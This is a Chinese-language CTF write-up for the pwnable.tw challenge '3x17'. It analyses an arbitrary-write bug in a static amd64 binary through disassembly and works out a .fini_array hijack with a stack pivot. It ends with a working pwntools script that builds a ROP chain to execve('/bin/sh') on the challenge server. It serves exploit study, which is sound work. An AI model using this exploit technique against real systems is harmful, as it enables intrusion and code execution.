pwnable.tw_3x17

作者: Kirin_say | 来源:发表于2019-02-10 22:54 被阅读61次

    半年没碰pwnable了,一位朋友让我看的这个题
    分值不高,也挺简单
    不过踩了两个坑(方案二三)觉得比较有意思,记录一下

    Analyze:

    静态编译,便于分析,添加sig:

    python lscan.py  -f  ./3x17 -S ./amd64/sig/
    #不过这题没什么用
    

    题目保护:

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found#静态编译,存在canary保护,只是没有检测到
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    程序:

      int result; // eax
      int v4; // eax
      char *v5; // ST08_8
      char buf; // [rsp+10h] [rbp-20h]
      unsigned __int64 v7; // [rsp+28h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      result = (unsigned __int8)++read_flag;
      if ( read_flag == 1 )
      {
        write(1u, "addr:", 5uLL);
        read(0, &buf, 0x18uLL);
        stroll((__int64)&buf);
        v5 = (char *)v4;
        write(1u, "data:", 5uLL);
        read(0, v5, 0x18uLL);
        result = 0;
      }
      return result;
    

    对应汇编:

    .text:0000000000401B6D ; int __cdecl main(int argc, const char **argv, const char **envp)
    .text:0000000000401B6D main            proc near               ; DATA XREF: start+1D↑o
    .text:0000000000401B6D
    .text:0000000000401B6D var_28          = qword ptr -28h
    .text:0000000000401B6D buf             = byte ptr -20h
    .text:0000000000401B6D var_8           = qword ptr -8
    .text:0000000000401B6D
    .text:0000000000401B6D ; __unwind {
    .text:0000000000401B6D                 push    rbp
    .text:0000000000401B6E                 mov     rbp, rsp
    .text:0000000000401B71                 sub     rsp, 30h
    .text:0000000000401B75                 mov     rax, fs:28h
    .text:0000000000401B7E                 mov     [rbp+var_8], rax
    .text:0000000000401B82                 xor     eax, eax
    .text:0000000000401B84                 movzx   eax, cs:read_flag
    .text:0000000000401B8B                 add     eax, 1
    .text:0000000000401B8E                 mov     cs:read_flag, al
    .text:0000000000401B94                 movzx   eax, cs:read_flag
    .text:0000000000401B9B                 cmp     al, 1
    .text:0000000000401B9D                 jnz     loc_401C35
    .text:0000000000401BA3                 mov     [rbp+var_28], 0
    .text:0000000000401BAB                 mov     edx, 5          ; count
    .text:0000000000401BB0                 lea     rsi, buf        ; "addr:"
    .text:0000000000401BB7                 mov     edi, 1          ; fd
    .text:0000000000401BBC                 mov     eax, 0
    .text:0000000000401BC1                 call    write
    .text:0000000000401BC6                 lea     rax, [rbp+buf]
    .text:0000000000401BCA                 mov     edx, 18h        ; count
    .text:0000000000401BCF                 mov     rsi, rax        ; buf
    .text:0000000000401BD2                 mov     edi, 0          ; fd
    .text:0000000000401BD7                 mov     eax, 0
    .text:0000000000401BDC                 call    read
    .text:0000000000401BE1                 lea     rax, [rbp+buf]
    .text:0000000000401BE5                 mov     rdi, rax
    .text:0000000000401BE8                 mov     eax, 0
    .text:0000000000401BED                 call    stroll
    .text:0000000000401BF2                 cdqe
    .text:0000000000401BF4                 mov     [rbp+var_28], rax
    .text:0000000000401BF8                 mov     edx, 5          ; count
    .text:0000000000401BFD                 lea     rsi, aData      ; "data:"
    .text:0000000000401C04                 mov     edi, 1          ; fd
    .text:0000000000401C09                 mov     eax, 0
    .text:0000000000401C0E                 call    write
    .text:0000000000401C13                 mov     rax, [rbp+var_28]
    .text:0000000000401C17                 mov     edx, 18h        ; count
    .text:0000000000401C1C                 mov     rsi, rax        ; buf
    .text:0000000000401C1F                 mov     edi, 0          ; fd
    .text:0000000000401C24                 mov     eax, 0
    .text:0000000000401C29                 call    read
    .text:0000000000401C2E                 mov     eax, 0
    .text:0000000000401C33                 jmp     short loc_401C37
    .text:0000000000401C35 ; ---------------------------------------------------------------------------
    .text:0000000000401C35
    .text:0000000000401C35 loc_401C35:                             ; CODE XREF: main+30↑j
    .text:0000000000401C35                 nop
    .text:0000000000401C36                 nop
    .text:0000000000401C37
    .text:0000000000401C37 loc_401C37:                             ; CODE XREF: main+C6↑j
    .text:0000000000401C37                 mov     rcx, [rbp+var_8]
    .text:0000000000401C3B                 xor     rcx, fs:28h
    .text:0000000000401C44                 jz      short locret_401C4B
    .text:0000000000401C46                 call    ___stack_chk_fail
    .text:0000000000401C4B ; ---------------------------------------------------------------------------
    .text:0000000000401C4B
    .text:0000000000401C4B locret_401C4B:                          ; CODE XREF: main+D7↑j
    .text:0000000000401C4B                 leave
    .text:0000000000401C4C                 retn
    .text:0000000000401C4C ; } // starts at 401B6D
    .text:0000000000401C4C main            endp
    

    可以看到:

    程序静态编译,没有地址随机化,且为任意地址写
    .bss段的read_flag记录此函数调用次数,只有read_flag归零时才可再次写
    搜索"exit 0"(system function)、"/bin/sh"、"LINUX - sys_execv"(ida自动注释)......都没有结果
    所以应该不存在后门,需要自己构造ROP
    或者调用mprotect等方法更改内存权限执行shellcode(下下策)
    

    首先跟踪整个程序流找到可以控制程序流的地方:

    .text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
    .text:0000000000402960 ; __unwind {
    .text:0000000000402960                 push    rbp
    .text:0000000000402961                 lea     rax, unk_4B4100
    .text:0000000000402968                 lea     rbp, off_4B40F0
    .text:000000000040296F                 push    rbx
    .text:0000000000402970                 sub     rax, rbp
    .text:0000000000402973                 sub     rsp, 8
    .text:0000000000402977                 sar     rax, 3
    .text:000000000040297B                 jz      short loc_402996
    .text:000000000040297D                 lea     rbx, [rax-1]
    .text:0000000000402981                 nop     dword ptr [rax+00000000h]
    .text:0000000000402988
    .text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
    .text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
    .text:000000000040298C                 sub     rbx, 1
    .text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
    .text:0000000000402994                 jnz     short loc_402988
    .text:0000000000402996
    .text:0000000000402996 loc_402996:                             ; CODE XREF: sub_402960+1B↑j
    .text:0000000000402996                 add     rsp, 8
    .text:000000000040299A                 pop     rbx
    .text:000000000040299B                 pop     rbp
    .text:000000000040299C                 jmp     sub_48E32C
    .text:000000000040299C ; } // starts at 402960
    

    其实还有一个地方:

    .text:000000000040F7FF                 mov     rdx, [rax+18h]
    .text:000000000040F803                 mov     qword ptr [rax+10h], 0
    .text:000000000040F80B                 mov     esi, ebp
    .text:000000000040F80D                 ror     rdx, 11h
    .text:000000000040F811                 xor     rdx, fs:30h
    .text:000000000040F81A                 mov     rdi, [rax+20h]
    .text:000000000040F81E                 call    rdx
    

    这里rax=0x4b98e0,也可以写rax+0x18位置,不过存在xor rdx, fs:30h,无法预知fs:30h,所以此处不行
    IP在0x402988时:

    RBX  0x1
    RBP  0x4b40f0->.fini_array
    

    所以只要覆盖.fini_array即可劫持程序流

    方案一

    首先可以确定:

    .text:0000000000401B84                 movzx   eax, cs:read_flag
    .text:0000000000401B8B                 add     eax, 1
    .text:0000000000401B8E                 mov     cs:read_flag, al
    .text:0000000000401B94                 movzx   eax, cs:read_flag
    .text:0000000000401B9B                 cmp     al, 1
    

    可以想方法通过一个循环来使read_flag字节0x100循环自动归零(0xFF+1->0):

    我们将0x4b40f0位置覆盖为0x401b6d(main function addr)
    继续跟踪流,当函数返回时,rbx依然为1:
    .text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
    .text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
    .text:000000000040298C                 sub     rbx, 1      #rbx=0
    .text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
    .text:0000000000402994                 jnz     short loc_402988  #跳转
    ------->
    .text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
    .text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
    #即调用0x4b40f0处的函数地址
    因此可以将0x4b40f0重新覆盖为sub_402960
    形成sub_402960和main function之间的循环来不断写地址
    

    可以无限次写入后,便可以布置rop chain
    而后只需要中断循环并迁移栈段即可:
    将0x4b40f0覆盖为0x401c4b:

    .text:0000000000401C4B                 leave
    .text:0000000000401C4C                 retn
    

    此时:

    rbp=0x4b40f0,rbx=0
    call    qword ptr [rbp+rbx*8+0] #0x401c4b
    ->leave  #rbp=0x401c4b,rsp=0x4b40f8
    ->ret    #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100
    ->push    rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8
    ->mov     rbp, rsp# rbp=0x4b40f8
    ......
    ......
    ->leave #rbp=0x401c4b,rsp=0x4b4100
    ->ret   #return 2 ropchain
    

    方案二

    同样是循环main function来无限写
    不过循环地方不同:
    可以构造.fini_array:

    0x4b40f0->0x4b40f0
    0x4b40f8->0x401b71#sub rsp,0x30......
    

    这里主要是先进行栈段迁移,再利用不进行push rbp操作造成栈段退出leave ret时rbp依然保持我们构造的fake_rbp,从而造成循环
    不过这个方案不可行,当循环进可写时,注意到此时:

    RBP  0x4b40f0
    RSP  0x4b40c8
    栈帧长度并不是0x30,而是0x28->因为我们构造循环时没有进行"push rbp  mov rbp,rsp",而是直接sub rsp,0x30
    

    但是注意到main function中:

    .text:0000000000401BE1                 lea     rax, [rbp+buf]
    .text:0000000000401BE5                 mov     rdi, rax
    .text:0000000000401BE8                 mov     eax, 0
    .text:0000000000401BED                 call    stroll
    .text:0000000000401BF2                 cdqe
    .text:0000000000401BF4                 mov     [rbp+var_28], rax
    .text:0000000000401BF8                 mov     edx, 5          ; count
    .text:0000000000401BFD                 lea     rsi, aData      ; "data:"
    .text:0000000000401C04                 mov     edi, 1          ; fd
    .text:0000000000401C09                 mov     eax, 0
    .text:0000000000401C0E                 call    write
    .text:0000000000401C13                 mov     rax, [rbp+var_28]
    .text:0000000000401C17                 mov     edx, 18h        ; count
    .text:0000000000401C1C                 mov     rsi, rax        ; buf
    .text:0000000000401C1F                 mov     edi, 0          ; fd
    .text:0000000000401C24                 mov     eax, 0
    .text:0000000000401C29                 call    read
    

    我们任意地址读的地址是在保存在rbp+var_28中,其间调用了一次write,因而会将返回地址覆盖到rbp+var_28处,从而导致后面操作失败,因此本方案需要main function的栈帧提高8 bytes(sub rsp,0x38)

    方案三

    首先考虑并排除的方案
    可以让返回地址为(.fini_array)

    .text:0000000000401BA3                 mov     [rbp+var_28], 0
    

    此时已进行完read_flag位的检测,不过要想办法绕过canary:
    跟踪___stack_chk_fail程序流就可以发现有几处通过.plt表实现调用:

    例如:
    .text:000000000041337F                 call    sub_4010C0
    and
    .text:00000000004132F9                 call    sub_401058
    

    所以第一次劫持程序流后可以修改对应got表中的数据实现永久劫持(只需要永远不绕过canary)
    这样直接可以无限次地址写
    不过这样便无法迁移栈段,而且:

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
              0x400000           0x401000 r--p     1000 0      /home/regedit/pwnable/3x17
              0x401000           0x48f000 r-xp    8e000 1000   /home/regedit/pwnable/3x17
              0x48f000           0x4b3000 r--p    24000 8f000  /home/regedit/pwnable/3x17
              0x4b4000           0x4ba000 rw-p     6000 b3000  /home/regedit/pwnable/3x17
              0x4ba000           0x4bb000 rw-p     1000 0      
             0x1841000          0x1864000 rw-p    23000 0      [heap]
        0x7fff7995a000     0x7fff7997c000 rw-p    22000 0      [stack]
        0x7fff799d5000     0x7fff799d8000 r--p     3000 0      [vvar]
        0x7fff799d8000     0x7fff799da000 r-xp     2000 0      [vdso]
    0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
    

    可写的地方没有执行权限,所以也只是任意地址写,无法再次将程序流劫持到别的地方(不知道栈地址,没办法改rsp/rbp/返回地址)
    不过实际上可以考虑先迁移栈段再劫持___stack_chk_fail,但是不能用方案一二的方法迁移(因为还会导向方案二的错误):
    首先canary为了防止leak,低字节总为\x00
    可以利用这个特点

    注意到:

    .text:0000000000401B75                 mov     rax, fs:28h
    .text:0000000000401B7E                 mov     [rbp+var_8], rax
    

    所以可以首先劫持程序流到0x401b75(利用.fini_array):
    覆盖:

    0x4b40f0->0x4B9338
    0x4b40f8->0x401b75
    

    此时:

    leave->
    rbp=0x4b9338
    rsp=0x4b40f8
    ret->
    rip=*rsp=0x401b75
    

    而后:

    .text:0000000000401B75                 mov     rax, fs:28h
    .text:0000000000401B7E                 mov     [rbp+var_8], rax
    ->*rbp-0x8=*0x4b9330=canary
    &(byte *)read_flag=0x4b9330
    read_flag即为\x00
    

    此时迁移了栈段,然后此时read_flag=0,即可获得一次写机会(写got表),注意此时read_flag++,canary就会改变,从而造成___stack_chk_fail,成功劫持程序流并控制了栈段,但是方案依旧不可行,因为栈向低处增长,所以当第二次写的时候因为___stack_chk_fail过程中栈顶(rsp)不断减小的关系,会到达0x4b4000处,此时会有一个push操作,而addr<0x4b4000不具有可写权限,会导致程序崩溃,因而方案三需要更大的可写空间
    虽然二三不可行,不过也只是程序本身特点造成,思路应该也可以,毕竟我先考虑的二三,所以记录一下orz
    最终EXP为方案一

    EXP:

    from pwn import *
    
    #context.log_level="debug"
    #p=process("3x17")
    p=remote("chall.pwnable.tw",10105)
    
    #_fini_array
    p.sendlineafter("addr:",str(0x4b40f0))
    p.sendafter("data:",p64(0x402960)+p64(0x401b6d))
    
    #rop_chain
    pop_rdi=0x401696
    pop_rax=0x41e4af
    pop_rdx_rsi=0x44a309
    bin_sh_addr=0x4b4140
    p.sendlineafter("addr:",str(0x4b4100))
    p.sendafter("data:",p64(pop_rdi))
    p.sendlineafter("addr:",str(0x4b4108))
    p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
    p.sendlineafter("addr:",str(0x4b4120))
    p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
    p.sendlineafter("addr:",str(0x4b4138))
    p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")
    
    #get_shell
    p.sendlineafter("addr:",str(0x4b40f0))
    p.sendafter("data:",p64(0x401c4b))
    p.interactive()
    

    相关文章

      网友评论

        本文标题:pwnable.tw_3x17

        本文链接:https://www.haomeiwen.com/subject/dalzsqtx.html